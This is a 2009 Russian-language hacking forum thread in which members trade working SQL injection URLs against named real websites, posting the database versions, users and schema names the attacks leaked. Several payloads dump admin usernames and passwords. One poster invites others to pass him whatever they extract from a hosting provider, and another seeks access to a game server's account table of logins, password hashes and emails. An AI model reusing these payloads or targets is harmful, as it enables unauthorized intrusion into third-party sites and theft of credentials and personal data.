SQL Инъекции

24.09.2009, 18:29

djmeir13

Новичок

Регистрация: 11.09.2009

Сообщений: 7

С нами: 8771217

Репутация: 7

Код:

http://www.sugar-free-games.com/showgame.php?game=-1145+union+select+1,group_concat(table_name,0x3c62723e),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables+where+table_schema=database()

𝕏 Twitter Reddit Telegram Копировать ссылку

24.09.2009, 18:55

*uNkN0Wn*

Участник форума

Регистрация: 25.03.2009

Сообщений: 149

С нами: 9015797

Репутация: 116

Скулка на хостинге. Если чего наковыряете напишите мне в лс.

Код:

PHP/5.2.0-8+etch15

User

Код:

hostacci_client@localhost

Database

Код:

hostacci_client

Columns

Код:

http://www.hostaccion.com/?p=contrato-online.php&id=13+and+1=0+ Union Select   UNHEX(HEX([visible]))  ,2,3,4,5

01.10.2009, 01:26

djmeir13

Новичок

Регистрация: 11.09.2009

Сообщений: 7

С нами: 8771217

Репутация: 7

Код:

www.susppy.org/news.php?id=-1+union+select+1,2,group_concat(a_user,0x3d,a_pass,0x3C62723E),4+from+admin

edit:
watch islam

Код:

http://www.watchislam.com/videos/index.php?catid=-1+union+all+select+concat(1,char(45),version())

and one more
http://www.hrusa.org/field/listings.php?catid=-1+union+all+select+@@version,user(),null,null--

Последний раз редактировалось djmeir13; 01.10.2009 в 01:35..

24.09.2009, 20:24

Shr3k

Новичок

Регистрация: 16.12.2008

Сообщений: 7

С нами: 9158907

Репутация: 20

Код:

http://www.marketcatalog.info/news.php?newsId=-78+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7--

http://www.torgovec.com/news.php?newsId=-967+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7--

http://www.alloffshore.net/news.php?newsId=-967+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7--

на 1 хосте)
5.0.37-standard:admin_ecommerce:admin_ulisss@localhost

Код:

http://my-sky.org/news.php?form_id=-47+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6--&form_current_page=0

5.0.45-Debian_1-log:myskyorg:myskyorg@localhost

Код:

http://ukrsvit.net/news.php?id=-354+UNION+SELECT+1,2,CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64)

см подробнее к 1 картинке =)
5.0.70-log/**/ukrsvit/**/ukrsvit@localhost

Код:

http://seowars.ru/seo-news/news.php?id_news=-585+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14

тайтл
5.0.81-community:seowars_base:seowars_user@localhost

Код:

http://playgame.org.ua/news.php?id=-673+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15

4.1.22-log:freemp3_slovo:freemp3_slovo@192.168.1.7

24.09.2009, 20:25

Dyxxx

Участник форума

Регистрация: 16.02.2009

Сообщений: 191

С нами: 9069748

Репутация: 438

celticarts.org pr5
The Celtic Arts Foundation

Код:

http://www.celticarts.org/index.php?page_id=4+and+substring(version(),1,1)=4+--+

4.1.22-standard | celticar_user@localhost

24.09.2009, 21:22

E-AL

Познающий

Регистрация: 03.10.2007

Сообщений: 37

С нами: 9792242

Репутация: 68

Код:

http://www.lagam.net/?page=7&itemId=-600+union+select+concat_ws(0x3a,concat_ws(0x3a,user(),version()),database())/*

ТИЦ: 10
PR: 2

User: status@localhost
Version: 4.1.22-community-nt
Name: l2jdb

Игровой сервер lineage2 =)

PS по серверам ла2 был опыт, все данные интересные лежат в таблице accounts (обычно логин, hash sha-1(base64) и мыло), но тут почему то доступа нет, если кто найдет способ - отпишите пожалуйста в пм.

24.09.2009, 23:19

hackmon

Познающий

Регистрация: 16.09.2009

Сообщений: 86

С нами: 8763785

Репутация: 93

Код:

http://www.halal-world.com/category.php?IndustryID=14+union+select+1,2,concat_ws(0x3a,loginid,password)+from+admin--

--------

Последний раз редактировалось jokester; 24.09.2009 в 23:28.. Причина: пароли запрещены

25.09.2009, 13:47

hackmon

Познающий

Регистрация: 16.09.2009

Сообщений: 86

С нами: 8763785

Репутация: 93

http://www.lapythie.free.fr/news/news.php?id=9999999999999999+union+select+1,2,conc at_ws%280x3a,version%28%29,database%28%29,user%28% 29%29,4,5,6,7,8--